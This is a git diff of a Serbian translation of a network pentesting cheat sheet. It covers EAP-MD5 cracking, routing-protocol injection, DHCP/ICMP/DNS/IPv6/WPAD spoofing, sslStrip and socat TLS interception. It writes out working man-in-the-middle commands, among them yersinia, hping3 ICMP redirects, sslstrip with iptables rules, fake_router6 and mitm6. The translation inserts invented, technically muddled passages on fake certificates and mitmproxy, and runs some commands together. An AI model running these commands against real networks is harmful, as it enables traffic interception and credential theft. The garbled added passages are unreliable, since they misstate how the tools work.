Snimanje EAP poruka i offline dešifrovanje lozinke (EAP-MD5 i PEAP) +* Prisiljavanje EAP-MD5 autentifikacije radi zaobilaženja provere TLS sertifikata +* Ubacivanje zlonamernog mrežnog saobraćaja prilikom autentifikacije korišćenjem huba ili sličnog +Ako je napadač između žrtve i servera za autentifikaciju, mogao bi pokušati da degradira (ako je potrebno) autentifikacioni protokol na EAP-MD5 i snimi pokušaj autentifikacije. Zatim bi mogao primeniti grubu silu na to koristeći: ``` eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ``` +### Napadi na FHRP (GLBP i HSRP) -### FHRP (GLBP & HSRP) Attacks +**FHRP** (Protokol za redundanciju prvog koraka) je klasa mrežnih protokola dizajnirana za **stvaranje sistema za vruću redundanciju rutiranja**. Sa FHRP-om, fizički ruteri mogu biti kombinovani u jedan logički uređaj, što povećava otpornost na greške i pomaže u raspodeli opterećenja. -**FHRP** (First Hop Redundancy Protocol) is a class of network protocols designed to **create a hot redundant routing system**. With FHRP, physical routers can be combined into a single logical device, which increases fault tolerance and helps distribute the load. - -**Cisco Systems engineers have developed two FHRP protocols, GLBP and HSRP.** +**Inženjeri kompanije Cisco Systems su razvili dva FHRP protokola, GLBP i HSRP.** {% content-ref url="glbp-and-hsrp-attacks.md" %} [glbp-and-hsrp-attacks.md](glbp-and-hsrp-attacks.md) @@ -632,89 +612,110 @@ eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt ### RIP -Three versions of the Routing Information Protocol (RIP) are known to exist: RIP, RIPv2, and RIPng. Datagrams are sent to peers via port 520 using UDP by RIP and RIPv2, whereas datagrams are broadcasted to UDP port 521 via IPv6 multicast by RIPng. Support for MD5 authentication was introduced by RIPv2. On the other hand, native authentication is not incorporated by RIPng; instead, reliance is placed on optional IPsec AH and ESP headers within IPv6. +Postoje tri verzije Routing Information Protocol (RIP): RIP, RIPv2 i RIPng. RIP i RIPv2 šalju datagrame vršnjacima putem porta 520 koristeći UDP, dok RIPng emituje datagrame na UDP portu 521 putem IPv6 multicast-a. RIPv2 podržava MD5 autentifikaciju, dok RIPng ne uključuje nativnu autentifikaciju, već se oslanja na opcione IPsec AH i ESP zaglavlja unutar IPv6. -- **RIP and RIPv2:** Communication is done through UDP datagrams on port 520. -- **RIPng:** Utilizes UDP port 521 for broadcasting datagrams via IPv6 multicast. +- **RIP i RIPv2:** Komunikacija se vrši putem UDP datagrama na portu 520. +- **RIPng:** Koristi UDP port 521 za emitovanje datagrama putem IPv6 multicast-a. -Note that RIPv2 supports MD5 authentication while RIPng does not include native authentication, relying on IPsec AH and ESP headers in IPv6. +Napomena: RIPv2 podržava MD5 autentifikaciju, dok RIPng ne uključuje nativnu autentifikaciju, već se oslanja na IPsec AH i ESP zaglavlja u IPv6. +### Napadi na EIGRP -### EIGRP Attacks +**EIGRP (Enhanced Interior Gateway Routing Protocol)** je dinamički rutirajući protokol. **To je protokol vektora udaljenosti.** Ako nema autentifikacije i konfiguracije pasivnih interfejsa, **napadač** može ometati EIGRP rutiranje i izazvati **trovanje tabela rutiranja**. Osim toga, EIGRP mreža (tj. autonomni sistem) **je ravna i nema segmentaciju u zone**. Ako **napadač ubaci rutu**, verovatno je da će se ova ruta **proširiti** kroz autonomni EIGRP sistem. -**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** If there is **no authentication** and configuration of passive interfaces, an **intruder** can interfere with EIGRP routing and cause **routing tables poisoning**. Moreover, EIGRP network (in other words, autonomous system) **is flat and has no segmentation into any zones**. If an **attacker injects a route**, it is likely that this route will **spread** throughout the autonomous EIGRP system. +Da bi se napao EIGRP sistem, potrebno je **uspostaviti susedstvo sa legitimnim EIGRP ruterom**, što otvara mnoge mogućnosti, od osnovnog izviđanja do različitih ubrizgavanja. -To attack a EIGRP system requires **establishing a neighbourhood with a legitimate EIGRP route**r, which opens up a lot of possibilities, from basic reconnaissance to various injections. - -[**FRRouting**](https://frrouting.org/) allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain. +[**FRRouting**](https://frrouting.org/) vam omogućava da implementirate **virtuelni ruter koji podržava BGP, OSPF, EIGRP, RIP i druge protokole**. Sve što trebate da uradite je da ga implementirate na napadačevom sistemu i možete se pretvarati da ste legitimni ruter u domenu rutiranja. {% content-ref url="eigrp-attacks.md" %} [eigrp-attacks.md](eigrp-attacks.md) {% endcontent-ref %} -[**Coly**](https://code.google.com/p/coly/) has capabilities for intercepting EIGRP (Enhanced Interior Gateway Routing Protocol) broadcasts. It also allows for the injection of packets, which can be utilized to alter routing configurations. +[**Coly**](https://code.google.com/p/coly/) ima mogućnosti za presretanje emitovanja EIGRP (Enhanced Interior Gateway Routing Protocol). Takođe omogućava ubrizgavanje paketa, što se može koristiti za izmenu rutirajućih konfiguracija. ### OSPF -In Open Shortest Path First (OSPF) protocol **MD5 authentication is commonly employed to ensure secure communication between routers**. However, this security measure can be compromised using tools like Loki and John the Ripper. These tools are capable of capturing and cracking MD5 hashes, exposing the authentication key. Once this key is obtained, it can be used to introduce new routing information. To configure the route parameters and establish the compromised key, the _Injection_ and _Connection_ tabs are utilized, respectively. +U Open Shortest Path First (OSPF) protokolu se često koristi **MD5 autentifikacija kako bi se osigurala sigurna komunikacija između rutera**. Međutim, ova sigurnosna mera može biti kompromitovana korišćenjem alata poput Loki i John the Ripper. Ovi alati su sposobni da uhvate i dešifruju MD5 hešove, otkrivajući autentifikacioni ključ. Kada se ovaj ključ dobije, može se koristiti za unošenje novih rutnih informacija. Za konfigurisanje parametara rute i uspostavljanje kompromitovanog ključa koriste se kartice _Injection_ i _Connection_. -- **Capturing and Cracking MD5 Hashes:** Tools such as Loki and John the Ripper are used for this purpose. -- **Configuring Route Parameters:** This is done through the _Injection_ tab. -- **Setting the Compromised Key:** The key is configured under the _Connection_ tab. +- **Hvatanje i Dešifrovanje MD5 Hešova:** Za ove svrhe koriste se alati poput Loki i John the Ripper. +- **Konfigurisanje Parametara Rute:** Ovo se radi putem kartice _Injection_. +- **Postavljanje Kompromitovanog Ključa:** Ključ se konfiguriše na kartici _Connection_. -### Other Generic Tools & Sources +### Ostali Generički Alati i Izvori -* [**Above**](https://github.com/c4s73r/Above): Tool to scan network traffic and find vulnerabilities -* You can find some **more information about network attacks [here](https://github.com/Sab0tag3d/MITM-cheatsheet)**. +* [**Above**](https://github.com/c4s73r/Above): Alat za skeniranje mrežnog saobraćaja i pronalaženje ranjivosti +* Možete pronaći **više informacija o napadima na mrežu [ovde](https://github.com/Sab0tag3d/MITM-cheatsheet)**. ## **Spoofing** -The attacker configures all the network parameters (GW, IP, DNS) of the new member of the network sending fake DHCP responses. - +Napadač konfiguriše sve mrežne parametre (GW, IP, DNS) novog člana mreže slanjem lažnih DHCP odgovora. ```bash Ettercap yersinia dhcp -attack 2 #More parameters are needed ``` - ### ARP Spoofing -Check the [previous section](./#arp-spoofing). +Proverite [prethodni odeljak](./#arp-spoofing). ### ICMPRedirect -ICMP Redirect consist on sending an ICMP packet type 1 code 5 that indicates that the attacker is the best way to reach an IP. Then, when the victim wants to contact the IP, it will send the packet through the attacker. - +ICMP preusmeravanje se sastoji od slanja ICMP paketa tipa 1, kod 5, koji ukazuje da je napadač najbolji način da se dođe do određene IP adrese. Zatim, kada žrtva želi da kontaktira tu IP adresu, paket će biti poslat preko napadača. ```bash Ettercap icmp_redirect hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5] ``` - ### DNS Spoofing -The attacker will resolve some (or all) the domains that the victim ask for. - +Napadač će rešiti neke (ili sve) domene koje žrtva traži. ```bash set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on ``` +**Konfigurišite sopstveni DNS sa dnsmasq** -**Configure own DNS with dnsmasq** +Da biste konfigurisali sopstveni DNS server koristeći dnsmasq, pratite sledeće korake: +1. Instalirajte dnsmasq na vašem serveru: +``` +sudo apt-get install dnsmasq +``` + +2. Otvorite konfiguracioni fajl dnsmasq: +``` +sudo nano /etc/dnsmasq.conf +``` + +3. Konfigurišite dnsmasq da koristi vašu IP adresu kao DNS server: +``` +listen-address=your_ip_address +``` + +4. Dodajte željene DNS zapise u konfiguracioni fajl. Na primer: +``` +address=/example.com/your_ip_address +``` + +5. Sačuvajte i zatvorite fajl. + +6. Pokrenite dnsmasq servis: +``` +sudo systemctl start dnsmasq +``` + +Sada ste uspešno konfigurisali sopstveni DNS server koristeći dnsmasq. Možete koristiti ovaj server za preusmeravanje DNS upita i prilagođavanje DNS zapisa prema vašim potrebama. ```bash apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon dig @localhost domain.example.com # Test the configured DNS ``` +### Lokalni gateway-ji -### Local Gateways - -Multiple routes to systems and networks often exist. Upon building a list of MAC addresses within the local network, use _gateway-finder.py_ to identify hosts that support IPv4 forwarding. - +Često postoje više ruta do sistema i mreža. Nakon što napravite listu MAC adresa unutar lokalne mreže, koristite _gateway-finder.py_ da biste identifikovali hostove koji podržavaju IPv4 prosleđivanje. ``` root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git root@kali:~# cd gateway-finder/ root@kali:~# arp-scan -l | tee hosts.txt Interface: eth0, datalink type: EN10MB (Ethernet) -Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) +Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/) 10.0.0.100 00:13:72:09:ad:76 Dell Inc. 10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION 10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp. @@ -726,67 +727,58 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] ``` +### [Lažiranje LLMNR, NBT-NS i mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +Za lokalno razrešavanje imena kada DNS pretrage ne uspeju, Microsoft sistemi se oslanjaju na **Link-Local Multicast Name Resolution (LLMNR)** i **NetBIOS Name Service (NBT-NS)**. Slično tome, **Apple Bonjour** i **Linux zero-configuration** implementacije koriste **Multicast DNS (mDNS)** za otkrivanje sistema unutar mreže. Zbog neautentifikovane prirode ovih protokola i njihovog rada preko UDP, slanjem emitovanih poruka, oni mogu biti iskorišćeni od strane napadača koji žele da preusmere korisnike na zlonamerne usluge. -For local host resolution when DNS lookups are unsuccessful, Microsoft systems rely on **Link-Local Multicast Name Resolution (LLMNR)** and the **NetBIOS Name Service (NBT-NS)**. Similarly, **Apple Bonjour** and **Linux zero-configuration** implementations utilize **Multicast DNS (mDNS)** for discovering systems within a network. Due to the unauthenticated nature of these protocols and their operation over UDP, broadcasting messages, they can be exploited by attackers aiming to redirect users to malicious services. +Možete se predstavljati kao usluge koje hostovi traže koristeći Responder za slanje lažnih odgovora.\ +Pročitajte više informacija o [kako se predstaviti kao usluge pomoću Responder-a](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). -You can impersonate services that are searched by hosts using Responder to send fake responses.\ -Read here more information about [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +### [Lažiranje WPAD-a](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) -### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +Preglednici često koriste **Web Proxy Auto-Discovery (WPAD) protokol za automatsko dobijanje podešavanja proksi servera**. To uključuje dobijanje detalja konfiguracije sa servera, posebno putem URL-a kao što je "http://wpad.example.org/wpad.dat". Otkrivanje ovog servera od strane klijenata može se desiti putem različitih mehanizama: -Browsers commonly employ the **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings**. This involves fetching configuration details from a server, specifically through a URL such as "http://wpad.example.org/wpad.dat". The discovery of this server by the clients can happen through various mechanisms: +- Putem **DHCP**-a, gde se otkrivanje olakšava korišćenjem posebnog unosa sa kodom 252. +- Preko **DNS**-a, što uključuje traženje imena hosta označenog kao _wpad_ unutar lokalne domene. +- Putem **Microsoft LLMNR i NBT-NS**, koji su rezervni mehanizmi koji se koriste u slučajevima kada DNS pretrage ne uspeju. -- Through **DHCP**, where the discovery is facilitated by utilizing a special code 252 entry. -- By **DNS**, which involves searching for a hostname labeled _wpad_ within the local domain. -- Via **Microsoft LLMNR and NBT-NS**, which are fallback mechanisms used in cases where DNS lookups do not succeed. +Alat Responder iskorišćava ovaj protokol tako što deluje kao **zlonamerni WPAD server**. Koristi DHCP, DNS, LLMNR i NBT-NS da bi prevario klijente da se povežu sa njim. Da biste se detaljnije upustili u to kako se usluge mogu predstavljati koristeći Responder, [proverite ovo](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). -The tool Responder takes advantage of this protocol by acting as a **malicious WPAD server**. It uses DHCP, DNS, LLMNR, and NBT-NS to mislead clients into connecting to it. To dive deeper into how services can be impersonated using Responder [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). +### [Lažiranje SSDP i UPnP uređaja](spoofing-ssdp-and-upnp-devices.md) +Možete ponuditi različite usluge u mreži kako biste **prevarili korisnika** da unese neke **plain-text kredencijale**. **Više informacija o ovom napadu u** [**Lažiranje SSDP i UPnP uređaja**](spoofing-ssdp-and-upnp-devices.md)**.** -### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md) - -You can offer different services in the network to try to **trick a user** to enter some **plain-text credentials**. **More information about this attack in** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.** - -### IPv6 Neighbor Spoofing - -This attack is very similar to ARP Spoofing but in the IPv6 world. You can get the victim think that the IPv6 of the GW has the MAC of the attacker. +### Lažiranje IPv6 Neighbor +Ovaj napad je veoma sličan ARP lažiranju, ali u svetu IPv6. Možete naterati žrtvu da pomisli da je IPv6 GW ima MAC adresu napadača. ```bash sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo fake_advertise6 -r -w 2 eth0 #This option will send the Neighbor Advertisement packet every 2 seconds ``` +### IPv6 Spoofovanje/Floodovanje Oglašavanja Rutera -### IPv6 Router Advertisement Spoofing/Flooding - -Some OS configure by default the gateway from the RA packets sent in the network. To declare the attacker as IPv6 router you can use: - +Neke operativne sisteme podrazumevano konfigurišu podrazumevanu rutu na osnovu paketa za oglašavanje rutera (RA) poslatih u mreži. Da biste sebe proglasili kao IPv6 ruter, možete koristiti: ```bash sysctl -w net.ipv6.conf.all.forwarding=1 4 ip route add default via dev wlan0 fake_router6 wlan0 fe80::01/16 ``` - ### IPv6 DHCP spoofing -By default some OS try to configure the DNS reading a DHCPv6 packet in the network. Then, an attacker could send a DHCPv6 packet to configure himself as DNS. The DHCP also provides an IPv6 to the victim. - +Podrazumevano, neki operativni sistemi pokušavaju da konfigurišu DNS čitajući DHCPv6 paket u mreži. Zatim, napadač može poslati DHCPv6 paket da se konfiguriše kao DNS. DHCP takođe pruža IPv6 adresu žrtvi. ```bash dhcp6.spoof on dhcp6.spoof.domains mitm6 ``` +### HTTP (lažna stranica i ubacivanje JS koda) -### HTTP (fake page and JS code injection) - -## Internet Attacks +## Internet napadi ### sslStrip -Basically what this attack does is, in case the **user** try to **access** a **HTTP** page that is **redirecting** to the **HTTPS** version. **sslStrip** will **maintain** a **HTTP connection with** the **client and** a **HTTPS connection with** the **server** so it ill be able to **sniff** the connection in **plain text**. - +Osnovno što ovaj napad radi je da, u slučaju da **korisnik** pokuša **pristupiti** HTTP stranici koja se **preusmjerava** na HTTPS verziju, **sslStrip** će **održavati** HTTP vezu sa **klijentom** i HTTPS vezu sa **serverom**, tako da će moći **presresti** vezu u **čistom tekstu**. ```bash apt-get install sslstrip sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k @@ -795,33 +787,29 @@ sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT ``` +Više informacija [ovde](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). -More info [here](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf). +### sslStrip+ i dns2proxy za zaobilaženje HSTS -### sslStrip+ and dns2proxy for bypassing HSTS +**Razlika** između **sslStrip+ i dns2proxy** u odnosu na **sslStrip** je što će oni **preusmeriti** na primer _**www.facebook.com**_ **na** _**wwww.facebook.com**_ (primetite **dodatno** slovo "**w**") i postaviće **IP adresu ovog domena kao IP napadača**. Na ovaj način, **klijent** će se **povezati** na _**wwww.facebook.com**_ **(napadača)**, ali iza kulisa **sslstrip+** će **održavati** pravu vezu putem https sa **www.facebook.com**. -The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ (note the **extra** "**w**") and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **(the attacker)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**. +**Cilj** ove tehnike je da se **izbegne HSTS** jer _**wwww**.facebook.com_ **neće** biti sačuvan u kešu pregledača, pa će pregledač biti prevaren da izvrši **autentifikaciju na Facebook-u preko HTTP-a**.\ +Napomena: Da bi se izveo ovaj napad, žrtva mora pokušati da pristupi [http://www.faceook.com](http://www.faceook.com) na početku, a ne preko HTTPS-a. Ovo se može postići izmenom linkova unutar HTTP stranice. -The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.\ -Note that in order to perform this attack the victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page. +Više informacija [ovde](https://www.bettercap.org/legacy/#hsts-bypass), [ovde](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) i [ovde](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). -More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). - -**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.** +**sslStrip ili sslStrip+ više ne funkcionišu. To je zato što postoje HSTS pravila koja su unapred sačuvana u pregledačima, pa čak i ako je prvi put da korisnik pristupa "važnom" domenu, pristupiće mu preko HTTPS-a. Takođe, primetite da unapred sačuvana pravila i druga generisana pravila mogu koristiti oznaku** [**`includeSubdomains`**](https://hstspreload.appspot.com) **tako da prethodni primer sa** _**wwww.facebook.com**_ **više neće funkcionisati jer** _**facebook.com**_ **koristi HSTS sa `includeSubdomains`.** TODO: easy-creds, evilgrade, metasploit, factory -## TCP listen in port - +## Slušanje TCP na portu ```bash sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - ``` +## TCP + SSL osluškivanje na portu -## TCP + SSL listen in port - -#### Generate keys and self-signed certificate - +#### Generisanje ključeva i samopotpisanog sertifikata ``` FILENAME=server # Generate a public/private key pair: @@ -831,31 +819,47 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt # Generate the PEM file by just appending the key and certificate files: cat $FILENAME.key $FILENAME.crt >$FILENAME.pem ``` +#### Slušanje korišćenjem sertifikata -#### Listen using certificate +Kada se vrši pasivno prisluškivanje mreže, može biti korisno koristiti sertifikate kako bi se dešifrovala komunikacija između klijenta i servera. Ovaj metod se često koristi u situacijama kada se koristi HTTPS protokol za enkripciju podataka. +Da biste koristili ovu tehniku, prvo je potrebno generisati lažni sertifikat koji će se koristiti za dešifrovanje saobraćaja. Zatim, sertifikat se instalira na uređaju koji će vršiti prisluškivanje. + +Kada se sertifikat instalira, uređaj može dešifrovati saobraćaj između klijenta i servera. Ovo omogućava hakeru da prati i analizira komunikaciju, uključujući i osetljive informacije kao što su korisnička imena, lozinke i druge privatne podatke. + +Važno je napomenuti da je ova tehnika ilegalna i može biti kršenje privatnosti. Korišćenje ove tehnike treba da se vrši samo u okviru zakonskih i etičkih granica, kao deo legitimnog testiranja bezbednosti ili istraživanja. ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - ``` +#### Slušajte koristeći sertifikat i preusmerite na hostove -#### Listen using certificate and redirect to the hosts +Da biste izvršili ovu tehniku, prvo morate generisati lažni sertifikat koji će se koristiti za presretanje saobraćaja. Zatim, morate konfigurisati svoj sistem da koristi taj sertifikat kako bi mogao da presreće SSL/TLS saobraćaj. +Evo koraka koje treba slediti: + +1. Generišite lažni sertifikat koji će se koristiti za presretanje saobraćaja. Možete koristiti alate kao što su `openssl` ili `mitmproxy` za generisanje sertifikata. + +2. Konfigurišite svoj sistem da koristi lažni sertifikat. Ovo može zavisiti od operativnog sistema koji koristite. Na primer, na Linuxu možete koristiti alat `sslstrip` za presretanje SSL/TLS saobraćaja. + +3. Pokrenite alat za presretanje saobraćaja i osluškujte na određenom portu. Na primer, možete koristiti alat `mitmproxy` sa sledećom komandom: `mitmproxy -p `. + +4. Podesite preusmerenje saobraćaja na određene hostove. To možete postići konfigurisanjem alata za presretanje saobraćaja da preusmerava saobraćaj na određene IP adrese ili domene. + +Kada je sve konfigurisano, alat za presretanje saobraćaja će presretati SSL/TLS saobraćaj i preusmeravati ga na određene hostove koje ste konfigurisali. Ovo vam omogućava da analizirate i manipulišete saobraćaj između klijenta i servera. ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` +Ponekad, ako klijent proveri da li je CA validan, možete **poslužiti sertifikat druge hostne ime potpisan od strane CA**.\ +Još jedan interesantan test je da poslužite **sertifikat za traženo hostno ime, ali samopotpisan**. -Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.\ -Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**. - -Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this. +Druga stvar koju treba testirati je pokušaj potpisivanja sertifikata sa validnim sertifikatom koji nije validan CA. Ili korišćenje validnog javnog ključa, prisiljavanje na korišćenje algoritma kao što je Diffie-Hellman (koji ne zahteva dešifrovanje bilo čega sa stvarnim privatnim ključem) i kada klijent zatraži probu stvarnog privatnog ključa (kao što je heš), poslati lažnu probu i očekivati da klijent to ne proveri. ## Bettercap - ```bash # Events events.stream off #Stop showing events events.show #Show all events -events.show 5 #Show latests 5 events +events.show 5 #Show latests 5 events events.clear # Ticker (loop of commands) @@ -876,20 +880,19 @@ set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap ``` +### Beleške o aktivnom otkrivanju -### Active Discovery Notes +Imajte na umu da kada se UDP paket pošalje uređaju koji nema traženi port, šalje se ICMP (Port Unreachable) poruka. -Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent. +### **ARP otkrivanje** -### **ARP discover** - -ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond. +ARP paketi se koriste za otkrivanje IP adresa koje se koriste unutar mreže. Računar mora poslati zahtev za svaku moguću IP adresu, a samo one koje se koriste će odgovoriti. ### **mDNS (multicast DNS)** -Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services". +Bettercap šalje mDNS zahtev (svakih X ms) tražeći **\_services\_.dns-sd.\_udp.local** mašina koja vidi ovaj paket obično odgovara na ovaj zahtev. Zatim, samo traži mašine koje odgovaraju na "services". -**Tools** +**Alati** * Avahi-browser (--all) * Bettercap (net.probe.mdns) @@ -897,17 +900,17 @@ Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp ### **NBNS (NetBios Name Server)** -Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". +Bettercap emituje pakete na port 137/UDP tražeći ime "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". ### **SSDP (Simple Service Discovery Protocol)** -Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900). +Bettercap emituje SSDP pakete tražeći sve vrste usluga (UDP Port 1900). ### **WSD (Web Service Discovery)** -Bettercap broadcast WSD packets searching for services (UDP Port 3702). +Bettercap emituje WSD pakete tražeći usluge (UDP Port 3702). -## References +## Reference * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * **Network Security Assessment: Know Your Network (3rd edition)** @@ -915,20 +918,20 @@ Bettercap broadcast WSD packets searching for services (UDP Port 3702). * [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**Bug bounty savet**: **registrujte se** na **Intigriti**, premium **platformu za bug bounty kreiranu od strane hakera, za hakere**! Pridružite nam se danas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) i počnite da zarađujete nagrade do **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %}
-Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)! +Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Other ways to support HackTricks: +Drugi načini podrške HackTricks-u: -* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index f7ba7a4af..d95ee4fb5 100644 --- a/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -1,23 +1,21 @@ - -
